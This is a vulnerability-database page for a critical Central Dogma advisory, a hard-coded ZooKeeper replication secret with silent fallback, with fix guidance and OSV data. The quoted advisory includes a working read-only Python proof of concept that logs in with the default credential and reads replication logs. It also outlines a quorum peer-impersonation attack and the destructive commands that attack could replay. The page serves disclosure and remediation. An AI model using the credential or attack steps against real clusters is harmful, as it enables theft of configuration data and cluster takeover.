Vulnerabilities in pkg:maven/com.linecorp.centraldogma/centraldogma-server

PACKAGE
Advisory Identifier: GHSA-2j95-gqxf-v3vg
Advisory Summary

CVE-2026-11746 is a CRITICAL hard-coded zookeeper replication secret 'ch4n63m3' vulnerability (CWE-798: Use of Hard-coded Credentials) affecting Central Dogma libraries in the Maven ecosystem. The issue involves hard-coded zookeeper replication secret 'ch4n63m3' with silent fallback enables cluster takeover. Remediation is available by upgrading affected packages to version 0.84.0.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/com.linecorp.centraldogma/centraldogma-server

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/com.linecorp.centraldogma/centraldogma-server. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-2j95-gqxf-v3vg CVE-2026-11746 CRITICAL Central Dogma: Hard-coded ZooKeeper replication secret 'ch4n63m3' with silent fallback enables cluster takeover
GHSA-34q3-p352-c7q8 CVE-2024-1143 CRITICAL Central Dogma Authentication Bypass Vulnerability via Session Leakage
GHSA-qfv2-3p2f-vg48 - MODERATE Duplicate Advisory: Central Dogma Authentication Bypass Vulnerability via Session Leakage

CVE-2026-11746 at a Glance

CVE Identifier CVE-2026-11746
GHSA Identifier GHSA-2j95-gqxf-v3vg
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-798: Use of Hard-coded Credentials
Affected Product Central Dogma
Package Ecosystem Maven
Published Date
Last Updated

How to Fix CVE-2026-11746

To remediate this vulnerability, upgrade all affected Central Dogma dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

com.linecorp.centraldogma:centraldogma-server fixed: 0.84.0
<dependency>
    <groupId>com.linecorp.centraldogma</groupId>
    <artifactId>centraldogma-server</artifactId>
    <version>0.84.0</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=com.linecorp.centraldogma

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-11746, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=com.linecorp.centraldogma

Analyze the terminal output to locate any version of Central Dogma in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.84.0), your application is affected.

Note: The mvn dependency:tree -Dincludes=com.linecorp.centraldogma command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-798: Use of Hard-coded Credentials, where the product contains hard-coded credentials, such as a password or cryptographic key. In Central Dogma, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Vulnerability `ZooKeeperReplicationConfig.secret()` silently substitutes the hard-coded constant `"ch4n63m3"` (leetspeak for "change me") whenever the operator omits `replication.secret`. The same secret is wired into both the **client-facing SASL context** and the **quorum/learner SASL contexts** of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds. ### Three Reinforcing Defects 1. **OSS-public credential** — `DEFAULT_SECRET` is in `line/centraldogma` source. 2. **Silent fallback** — `firstNonNull(convertValue(...), DEFAULT_SECRET)` substitutes the default with no log, no warning, no startup banner. The only sanity check `checkArgument(!secret().isEmpty(), ...)` passes because the getter substitutes the literal before the emptiness check runs. 3. **Dual-purpose secret** — used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces. ### Architecture Context (Important) Central Dogma does **NOT** connect to an external ZooKeeper ensemble. Each replica embeds a `QuorumPeer` (`EmbeddedZooKeeper extends QuorumPeer`) inside its own JVM. The Central Dogma cluster **IS** the ZK ensemble. So the "ZK network" is the inter-replica network of the Central Dogma cluster itself. ### Applicability | `replication.method` | ZK Started? | Applicable? | |---|---|---| | `NONE` (standalone, dev default) | No | **NOT applicable** | | `ZOOKEEPER` (HA production) | Yes, embedded on every replica | **Fully applicable** — canonical production configuration | --- ## Evidence **File:** `server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java` **Branch:** `main` @ commit `d64a5151` **Line 53** — the constant: ```java private static final String DEFAULT_SECRET = "ch4n63m3"; ``` **Lines 210–215** — the silent fallback: ```java /** * Returns the secret string used for authenticating the ZooKeeper peers. */ public String secret() { return firstNonNull(convertValue(secret, "replication.secret"), DEFAULT_SECRET); } ``` --- **File:** `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java` **Lines 586–607** — JAAS wiring (same secret on both surfaces): ```java final String escapedSecret = jaasValueEscaper.escape(cfg.secret()); ImmutableList.of("Server", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -> { buf.append(name).append(" {").append(newline); buf.append(DigestLoginModule.class.getName()).append(" required").append(newline); buf.append("user_super=\"").append(escapedSecret).append("\";").append(newline); buf.append("};").append(newline); }); ImmutableList.of("Client", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -> { buf.append(name).append(" {").append(newline); buf.append(DigestLoginModule.class.getName()).append(" required").append(newline); buf.append("username=\"super\"").append(newline); buf.append("password=\"").append(escapedSecret).append("\";").append(newline); buf.append("};").append(newline); }); ``` --- **File:** `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java` **Line 44** — proves CD embeds the ZK server: ```java final class EmbeddedZooKeeper extends QuorumPeer { ``` **Lines 213–220** — client port binding (loopback only): ```java private static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException { final InetSocketAddress bindAddr = zkCfg.getClientPortAddress(); final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory(); // Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others. cnxnFactory.configure(new InetSocketAddress("127.0.0.1", bindAddr != null ? bindAddr.getPort() : 0), zkCfg.getMaxClientCnxns()); return cnxnFactory; } ``` > Quorum/election ports are **NOT** loopback-bound — they bind to `replication.servers[].host` as configured, exposed on the inter-replica network. --- ## PoC Two attack surfaces, two scenarios. **Surface A** (client port, same-host) is implemented as a working read-only PoC. **Surface B** (quorum-port peer impersonation) is documented but intentionally not weaponized. ### Surface A — Same-Host Client Port (Loopback) PoC Python + kazoo + pure-sasl. Authenticates as `super` over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to `127.0.0.1`, read-only, prints first 5 entries. ```python #!/usr/bin/env python3 """ C3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only). Demonstrates that a Central Dogma instance launched with a ZooKeeper-replicated configuration but without `replication.secret` set exposes its embedded ZooKeeper to anyone with local-host access, using the well-known credential `super / ch4n63m3`. SAFETY: * Hardcoded to 127.0.0.1. Refuses any other target. * Read-only. No writes are issued. No nodes are deleted. * Limits how much data it prints (first MAX_LOGS entries). """ from __future__ import annotations import sys from kazoo.client import KazooClient from kazoo.exceptions import NoNodeError HOST = "127.0.0.1" DEFAULT_PORT = 2381 DEFAULT_USER = "super" DEFAULT_SECRET = "ch4n63m3" # ZooKeeperReplicationConfig.DEFAULT_SECRET MAX_LOGS = 5 def main() -> int: port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_PORT if HOST != "127.0.0.1": print("Refusing to run against non-loopback host.", file=sys.stderr) return 2 zk = KazooClient( hosts=f"{HOST}:{port}", sasl_options={ "mechanism": "DIGEST-MD5", "username": DEFAULT_USER, "password": DEFAULT_SECRET, }, read_only=True, timeout=5.0, ) try: zk.start(timeout=5) except Exception as exc: print(f"[!] Could not reach {HOST}:{port} -- {exc}", file=sys.stderr) return 1 try: try: log_children = zk.get_children("/dogma/logs") except NoNodeError: print("[i] /dogma/logs not present -- is replication actually enabled?") log_children = [] print(f"[+] Authenticated as '{DEFAULT_USER}' with default secret.") print(f"[+] /dogma/logs has {len(log_children)} entries.") for child in sorted(log_children)[:MAX_LOGS]: path = f"/dogma/logs/{child}" try: data, stat = zk.get(path) except NoNodeError: continue preview = data[:120].decode("utf-8", errors="replace") if data else "" print(f" - {path} ({stat.dataLength} bytes) preview={preview!r}") try: block_children = zk.get_children("/dogma/log_blocks") print(f"[+] /dogma/log_blocks has {len(block_children)} entries.") except NoNodeError: pass print( f"[!] ZK cluster compromised: read {len(log_children)} log entries " "with default credentials." ) return 0 finally: zk.stop() zk.close() if __name__ == "__main__": raise SystemExit(main()) ``` **Dependencies** (`requirements.txt`): `kazoo`, `pure-sasl` **Setup:** edit `dist/src/conf/dogma.json` to enable replication **WITHOUT** setting secret: ```json { "replication": { "method": "ZOOKEEPER", "serverId": 1, "servers": { "1": { "host": "127.0.0.1", "quorumPort": 2382, "electionPort": 2383, "clientPort": 2381 } } } } ``` > **Note:** `replication.secret` is **INTENTIONALLY** omitted. Launch with `./gradlew :dist:startup`. **Run:** ```bash python3 zk_takeover.py 2381 ``` **Expected output (VULNERABLE):** ``` [+] Authenticated as 'super' with default secret. [+] /dogma/logs has 14 entries. - /dogma/logs/0000000001 (412 bytes) preview="{"size":..." - /dogma/logs/0000000002 (508 bytes) preview="{"size":..." ... [+] /dogma/log_blocks has 14 entries. [!] ZK cluster compromised: read 14 log entries with default credentials. ``` After the patch (fail-closed on null/placeholder secret), Central Dogma **refuses to start at all** with this config. ### Surface B — Inter-Replica Quorum-Port Peer Impersonation (Documented, Not Weaponized) Quorum/election ports bind to the configured `replication.servers[].host`, **NOT** to loopback. In typical HA deployments (multi-DC, K8s with NetworkPolicy gaps, shared VPC), these ports are reachable from peer workloads. **Attack path:** 1. Attacker reaches the quorum port of any Central Dogma replica from a co-located workload (same K8s namespace, same VLAN, etc.). 2. Attacker spins up their own Apache ZooKeeper process configured with: - matching `serverId` (or a new one if the `QuorumVerifier` allows dynamic membership) - JAAS `QuorumLearner` / `QuorumServer` digest contexts using `super / ch4n63m3` - `quorumServerSaslAuthRequired=true`, `quorumLearnerSaslAuthRequired=true` 3. Attacker's process joins the quorum as a learner. SASL handshake passes because the secret matches. 4. Attacker now receives every replicated `Command`, can attempt to win leader election, and once in the cluster can write to `/dogma/logs/` directly — which `ZooKeeperCommandExecutor.replayLogs()` will deserialize and execute on every legitimate replica. **Dangerous Commands the attacker can replay across the cluster** (from `Command.java:46-68`): | Command | Impact | |---|---| | `PURGE_PROJECT` | Permanent deletion | | `ROTATE_SESSION_MASTER_KEY` / `REWRAP_ALL_KEYS` | Pivot encryption-at-rest layer to attacker-controlled keys | | `UPDATE_SERVER_STATUS` (read-only / maintenance) | Denial of Service | | `CREATE_SESSION` with crafted user info | Session forgery | > This PoC is **intentionally NOT shipped as runnable code**. It is closer to an attack tool than a verification artifact, and the audit's purpose is to drive the fix, not to provide weaponization. The Surface A PoC plus this documentation are sufficient to motivate remediation. --- ## Impact ### Threat Model (Realistic for LINE Corporate Deployment) - Multi-tenant K8s where Central Dogma StatefulSet shares Pod network with other workloads - Or shared VPC/VLAN where the inter-replica quorum traffic is reachable from co-tenant hosts - Or single-tenant cluster where any sidecar/co-located process has loopback access (Surface A) ### What an Attacker Gains with the Leaked Secret 1. **Read the full replication log.** `/dogma/logs` + `/dogma/log_blocks` contain the Zstd-compressed `ReplicationLog` entries — every commit, every `PUSH` payload (with file contents), every credential mutation, every session/master-key management command. Includes `CREATE_SESSION_MASTER_KEY`, `ROTATE_SESSION_MASTER_KEY`, `REWRAP_ALL_KEYS`. Reading this effectively renders the encryption-at-rest layer moot because the master-key management commands themselves traverse ZK. 2. **Write to the replication log (Surface B).** Forged `LogMeta` + `log_blocks` entries are auto-replayed by `ZooKeeperCommandExecutor.replayLogs()` on every replica. The attacker gains **arbitrary Command execution on the entire cluster**. 3. **Join the quorum as a fake peer (Surface B).** With the secret, an attacker reachable on the inter-replica network can pose as a legitimate replica, receive all future commits in real time, and potentially win leadership. **Scope is Changed** (CVSS) because ZK is a separate security authority from Central Dogma's HTTP API, and the impact propagates to every microservice consuming Central Dogma configuration via watch. **Incident recovery cost:** secret rotation alone is insufficient. Every `Command` that traversed ZK during the compromise window must be audited. If master-key rotation commands were issued, all encryption-at-rest data must be re-encrypted. This is an **extremely high-blast-radius failure mode** for a single missing config knob. **Historical analogue:** this is the same anti-pattern that caused Mirai (2016, IoT default credentials), pre-2018 unauthenticated Hadoop YARN clusters, and the recurring ZK / Elasticsearch / MongoDB internet-exposed-without-auth incidents 2018–2024. --- ## How to Fix **Remove the default constant. Fail closed when `replication.secret` is missing or matches the legacy placeholder.** ```java // ZooKeeperReplicationConfig.java // REMOVE: private static final String DEFAULT_SECRET = "ch4n63m3"; @JsonCreator ZooKeeperReplicationConfig(/* ...unchanged params... */ @JsonProperty("secret") @Nullable String secret, /* ... */) { // ... final String resolved = convertValue(secret, "replication.secret"); checkArgument(resolved != null && !resolved.isEmpty(), "'replication.secret' must be set (and non-empty) when " + "ZooKeeper replication is enabled. There is no default; " + "generate a long random string and configure it on every " + "replica."); // Reject the historical placeholder explicitly so existing config files // copy-pasted from old tutorials fail loudly instead of silently. checkArgument(!"ch4n63m3".equals(resolved), "'replication.secret' is set to the legacy placeholder " + "value. Replace it with a fresh random secret " + "(`openssl rand -hex 32`)."); // Optional: enforce minimum length (32 chars) and reject obvious placeholders. checkArgument(resolved.length() >= 32, "'replication.secret' must be at least 32 characters. " + "Use `openssl rand -hex 32` to generate one."); this.secret = resolved; } public String secret() { return secret; // never null at this point } ```

CVE-2026-11746 Affected Central Dogma Versions

1 component(s)
Fixed Versions:
0.84.0
Product / Package Ecosystem Affected Versions Fixed Version
com.linecorp.centraldogma:centraldogma-server
Maven
< 0.84.0
0.84.0

References

Frequently Asked Questions

What is CVE-2026-11746?
CVE-2026-11746 is a security vulnerability in Central Dogma involving Hard-coded ZooKeeper replication secret 'ch4n63m3' with silent fallback enables cluster takeover under CWE-798: Use of Hard-coded Credentials.
Which Central Dogma versions are affected?
Affected versions include releases prior to 0.84.0 across affected packages: com.linecorp.centraldogma:centraldogma-server.
What version fixes CVE-2026-11746?
Upgrading to 0.84.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is centraldogma-server affected?
Yes, com.linecorp.centraldogma:centraldogma-server is affected in releases prior to 0.84.0. Upgrade your dependency to 0.84.0 or later.
What CWE is associated with CVE-2026-11746?
CVE-2026-11746 is classified under CWE-798: Use of Hard-coded Credentials (The product contains hard-coded credentials, such as a password or cryptographic key.).
How can I check Maven dependencies for CVE-2026-11746?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=com.linecorp.centraldogma'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2j95-gqxf-v3vg",
  "modified" : "2026-09-11T20:44:23Z",
  "published" : "2026-09-11T20:44:23Z",
  "aliases" : [ "CVE-2026-11746" ],
  "summary" : "Central Dogma: Hard-coded ZooKeeper replication secret 'ch4n63m3' with silent fallback enables cluster takeover",
  "details" : "## Vulnerability\n\n`ZooKeeperReplicationConfig.secret()` silently substitutes the hard-coded constant `\"ch4n63m3\"` (leetspeak for \"change me\") whenever the operator omits `replication.secret`. The same secret is wired into both the **client-facing SASL context** and the **quorum/learner SASL contexts** of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds.\n\n### Three Reinforcing Defects\n\n1. **OSS-public credential** — `DEFAULT_SECRET` is in `line/centraldogma` source.\n2. **Silent fallback** — `firstNonNull(convertValue(...), DEFAULT_SECRET)` substitutes the default with no log, no warning, no startup banner. The only sanity check `checkArgument(!secret().isEmpty(), ...)` passes because the getter substitutes the literal before the emptiness check runs.\n3. **Dual-purpose secret** — used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces.\n\n### Architecture Context (Important)\n\nCentral Dogma does **NOT** connect to an external ZooKeeper ensemble. Each replica embeds a `QuorumPeer` (`EmbeddedZooKeeper extends QuorumPeer`) inside its own JVM. The Central Dogma cluster **IS** the ZK ensemble. So the \"ZK network\" is the inter-replica network of the Central Dogma cluster itself.\n\n### Applicability\n\n| `replication.method` | ZK Started? | Applicable? |\n|---|---|---|\n| `NONE` (standalone, dev default) | No | **NOT applicable** |\n| `ZOOKEEPER` (HA production) | Yes, embedded on every replica | **Fully applicable** — canonical production configuration |\n\n---\n\n## Evidence\n\n**File:** `server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java`\n**Branch:** `main` @ commit `d64a5151`\n\n**Line 53** — the constant:\n\n```java\nprivate static final String DEFAULT_SECRET = \"ch4n63m3\";\n```\n\n**Lines 210–215** — the silent fallback:\n\n```java\n/**\n * Returns the secret string used for authenticating the ZooKeeper peers.\n */\npublic String secret() {\n    return firstNonNull(convertValue(secret, \"replication.secret\"), DEFAULT_SECRET);\n}\n```\n\n---\n\n**File:** `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java`\n**Lines 586–607** — JAAS wiring (same secret on both surfaces):\n\n```java\nfinal String escapedSecret = jaasValueEscaper.escape(cfg.secret());\nImmutableList.of(\"Server\", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -> {\n    buf.append(name).append(\" {\").append(newline);\n    buf.append(DigestLoginModule.class.getName()).append(\" required\").append(newline);\n    buf.append(\"user_super=\\\"\").append(escapedSecret).append(\"\\\";\").append(newline);\n    buf.append(\"};\").append(newline);\n});\nImmutableList.of(\"Client\", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -> {\n    buf.append(name).append(\" {\").append(newline);\n    buf.append(DigestLoginModule.class.getName()).append(\" required\").append(newline);\n    buf.append(\"username=\\\"super\\\"\").append(newline);\n    buf.append(\"password=\\\"\").append(escapedSecret).append(\"\\\";\").append(newline);\n    buf.append(\"};\").append(newline);\n});\n```\n\n---\n\n**File:** `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java`\n\n**Line 44** — proves CD embeds the ZK server:\n\n```java\nfinal class EmbeddedZooKeeper extends QuorumPeer {\n```\n\n**Lines 213–220** — client port binding (loopback only):\n\n```java\nprivate static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException {\n    final InetSocketAddress bindAddr = zkCfg.getClientPortAddress();\n    final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory();\n    // Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others.\n    cnxnFactory.configure(new InetSocketAddress(\"127.0.0.1\", bindAddr != null ? bindAddr.getPort() : 0),\n                          zkCfg.getMaxClientCnxns());\n    return cnxnFactory;\n}\n```\n\n> Quorum/election ports are **NOT** loopback-bound — they bind to `replication.servers[].host` as configured, exposed on the inter-replica network.\n\n---\n\n## PoC\n\nTwo attack surfaces, two scenarios. **Surface A** (client port, same-host) is implemented as a working read-only PoC. **Surface B** (quorum-port peer impersonation) is documented but intentionally not weaponized.\n\n### Surface A — Same-Host Client Port (Loopback) PoC\n\nPython + kazoo + pure-sasl. Authenticates as `super` over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to `127.0.0.1`, read-only, prints first 5 entries.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nC3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only).\n\nDemonstrates that a Central Dogma instance launched with a\nZooKeeper-replicated configuration but without `replication.secret` set\nexposes its embedded ZooKeeper to anyone with local-host access, using\nthe well-known credential `super / ch4n63m3`.\n\nSAFETY:\n  * Hardcoded to 127.0.0.1. Refuses any other target.\n  * Read-only. No writes are issued. No nodes are deleted.\n  * Limits how much data it prints (first MAX_LOGS entries).\n\"\"\"\nfrom __future__ import annotations\n\nimport sys\n\nfrom kazoo.client import KazooClient\nfrom kazoo.exceptions import NoNodeError\n\nHOST = \"127.0.0.1\"\nDEFAULT_PORT = 2381\nDEFAULT_USER = \"super\"\nDEFAULT_SECRET = \"ch4n63m3\"  # ZooKeeperReplicationConfig.DEFAULT_SECRET\nMAX_LOGS = 5\n\n\ndef main() -> int:\n    port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_PORT\n    if HOST != \"127.0.0.1\":\n        print(\"Refusing to run against non-loopback host.\", file=sys.stderr)\n        return 2\n\n    zk = KazooClient(\n        hosts=f\"{HOST}:{port}\",\n        sasl_options={\n            \"mechanism\": \"DIGEST-MD5\",\n            \"username\": DEFAULT_USER,\n            \"password\": DEFAULT_SECRET,\n        },\n        read_only=True,\n        timeout=5.0,\n    )\n    try:\n        zk.start(timeout=5)\n    except Exception as exc:\n        print(f\"[!] Could not reach {HOST}:{port} -- {exc}\", file=sys.stderr)\n        return 1\n\n    try:\n        try:\n            log_children = zk.get_children(\"/dogma/logs\")\n        except NoNodeError:\n            print(\"[i] /dogma/logs not present -- is replication actually enabled?\")\n            log_children = []\n\n        print(f\"[+] Authenticated as '{DEFAULT_USER}' with default secret.\")\n        print(f\"[+] /dogma/logs has {len(log_children)} entries.\")\n        for child in sorted(log_children)[:MAX_LOGS]:\n            path = f\"/dogma/logs/{child}\"\n            try:\n                data, stat = zk.get(path)\n            except NoNodeError:\n                continue\n            preview = data[:120].decode(\"utf-8\", errors=\"replace\") if data else \"\"\n            print(f\"  - {path}  ({stat.dataLength} bytes)  preview={preview!r}\")\n\n        try:\n            block_children = zk.get_children(\"/dogma/log_blocks\")\n            print(f\"[+] /dogma/log_blocks has {len(block_children)} entries.\")\n        except NoNodeError:\n            pass\n\n        print(\n            f\"[!] ZK cluster compromised: read {len(log_children)} log entries \"\n            \"with default credentials.\"\n        )\n        return 0\n    finally:\n        zk.stop()\n        zk.close()\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n**Dependencies** (`requirements.txt`): `kazoo`, `pure-sasl`\n\n**Setup:** edit `dist/src/conf/dogma.json` to enable replication **WITHOUT** setting secret:\n\n```json\n{\n  \"replication\": {\n    \"method\": \"ZOOKEEPER\",\n    \"serverId\": 1,\n    \"servers\": {\n      \"1\": { \"host\": \"127.0.0.1\", \"quorumPort\": 2382, \"electionPort\": 2383, \"clientPort\": 2381 }\n    }\n  }\n}\n```\n\n> **Note:** `replication.secret` is **INTENTIONALLY** omitted. Launch with `./gradlew :dist:startup`.\n\n**Run:**\n\n```bash\npython3 zk_takeover.py 2381\n```\n\n**Expected output (VULNERABLE):**\n\n```\n[+] Authenticated as 'super' with default secret.\n[+] /dogma/logs has 14 entries.\n  - /dogma/logs/0000000001  (412 bytes)  preview=\"{\"size\":...\"\n  - /dogma/logs/0000000002  (508 bytes)  preview=\"{\"size\":...\"\n  ...\n[+] /dogma/log_blocks has 14 entries.\n[!] ZK cluster compromised: read 14 log entries with default credentials.\n```\n\nAfter the patch (fail-closed on null/placeholder secret), Central Dogma **refuses to start at all** with this config.\n\n### Surface B — Inter-Replica Quorum-Port Peer Impersonation (Documented, Not Weaponized)\n\nQuorum/election ports bind to the configured `replication.servers[].host`, **NOT** to loopback. In typical HA deployments (multi-DC, K8s with NetworkPolicy gaps, shared VPC), these ports are reachable from peer workloads.\n\n**Attack path:**\n\n1. Attacker reaches the quorum port of any Central Dogma replica from a co-located workload (same K8s namespace, same VLAN, etc.).\n2. Attacker spins up their own Apache ZooKeeper process configured with:\n   - matching `serverId` (or a new one if the `QuorumVerifier` allows dynamic membership)\n   - JAAS `QuorumLearner` / `QuorumServer` digest contexts using `super / ch4n63m3`\n   - `quorumServerSaslAuthRequired=true`, `quorumLearnerSaslAuthRequired=true`\n3. Attacker's process joins the quorum as a learner. SASL handshake passes because the secret matches.\n4. Attacker now receives every replicated `Command`, can attempt to win leader election, and once in the cluster can write to `/dogma/logs/` directly — which `ZooKeeperCommandExecutor.replayLogs()` will deserialize and execute on every legitimate replica.\n\n**Dangerous Commands the attacker can replay across the cluster** (from `Command.java:46-68`):\n\n| Command | Impact |\n|---|---|\n| `PURGE_PROJECT` | Permanent deletion |\n| `ROTATE_SESSION_MASTER_KEY` / `REWRAP_ALL_KEYS` | Pivot encryption-at-rest layer to attacker-controlled keys |\n| `UPDATE_SERVER_STATUS` (read-only / maintenance) | Denial of Service |\n| `CREATE_SESSION` with crafted user info | Session forgery |\n\n> This PoC is **intentionally NOT shipped as runnable code**. It is closer to an attack tool than a verification artifact, and the audit's purpose is to drive the fix, not to provide weaponization. The Surface A PoC plus this documentation are sufficient to motivate remediation.\n\n---\n\n## Impact\n\n### Threat Model (Realistic for LINE Corporate Deployment)\n\n- Multi-tenant K8s where Central Dogma StatefulSet shares Pod network with other workloads\n- Or shared VPC/VLAN where the inter-replica quorum traffic is reachable from co-tenant hosts\n- Or single-tenant cluster where any sidecar/co-located process has loopback access (Surface A)\n\n### What an Attacker Gains with the Leaked Secret\n\n1. **Read the full replication log.** `/dogma/logs` + `/dogma/log_blocks` contain the Zstd-compressed `ReplicationLog` entries — every commit, every `PUSH` payload (with file contents), every credential mutation, every session/master-key management command. Includes `CREATE_SESSION_MASTER_KEY`, `ROTATE_SESSION_MASTER_KEY`, `REWRAP_ALL_KEYS`. Reading this effectively renders the encryption-at-rest layer moot because the master-key management commands themselves traverse ZK.\n\n2. **Write to the replication log (Surface B).** Forged `LogMeta` + `log_blocks` entries are auto-replayed by `ZooKeeperCommandExecutor.replayLogs()` on every replica. The attacker gains **arbitrary Command execution on the entire cluster**.\n\n3. **Join the quorum as a fake peer (Surface B).** With the secret, an attacker reachable on the inter-replica network can pose as a legitimate replica, receive all future commits in real time, and potentially win leadership.\n\n**Scope is Changed** (CVSS) because ZK is a separate security authority from Central Dogma's HTTP API, and the impact propagates to every microservice consuming Central Dogma configuration via watch.\n\n**Incident recovery cost:** secret rotation alone is insufficient. Every `Command` that traversed ZK during the compromise window must be audited. If master-key rotation commands were issued, all encryption-at-rest data must be re-encrypted. This is an **extremely high-blast-radius failure mode** for a single missing config knob.\n\n**Historical analogue:** this is the same anti-pattern that caused Mirai (2016, IoT default credentials), pre-2018 unauthenticated Hadoop YARN clusters, and the recurring ZK / Elasticsearch / MongoDB internet-exposed-without-auth incidents 2018–2024.\n\n---\n\n## How to Fix\n\n**Remove the default constant. Fail closed when `replication.secret` is missing or matches the legacy placeholder.**\n\n```java\n// ZooKeeperReplicationConfig.java\n// REMOVE: private static final String DEFAULT_SECRET = \"ch4n63m3\";\n\n@JsonCreator\nZooKeeperReplicationConfig(/* ...unchanged params... */\n                           @JsonProperty(\"secret\") @Nullable String secret,\n                           /* ... */) {\n    // ...\n    final String resolved = convertValue(secret, \"replication.secret\");\n    checkArgument(resolved != null && !resolved.isEmpty(),\n                  \"'replication.secret' must be set (and non-empty) when \" +\n                  \"ZooKeeper replication is enabled. There is no default; \" +\n                  \"generate a long random string and configure it on every \" +\n                  \"replica.\");\n    // Reject the historical placeholder explicitly so existing config files\n    // copy-pasted from old tutorials fail loudly instead of silently.\n    checkArgument(!\"ch4n63m3\".equals(resolved),\n                  \"'replication.secret' is set to the legacy placeholder \" +\n                  \"value. Replace it with a fresh random secret \" +\n                  \"(`openssl rand -hex 32`).\");\n    // Optional: enforce minimum length (32 chars) and reject obvious placeholders.\n    checkArgument(resolved.length() >= 32,\n                  \"'replication.secret' must be at least 32 characters. \" +\n                  \"Use `openssl rand -hex 32` to generate one.\");\n    this.secret = resolved;\n}\n\npublic String secret() {\n    return secret;  // never null at this point\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.linecorp.centraldogma:centraldogma-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.84.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/line/centraldogma/security/advisories/GHSA-2j95-gqxf-v3vg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-11746"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/line/centraldogma"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-798" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-11T20:44:23Z",
    "nvd_published_at" : "2026-06-22T03:16:42Z"
  }
}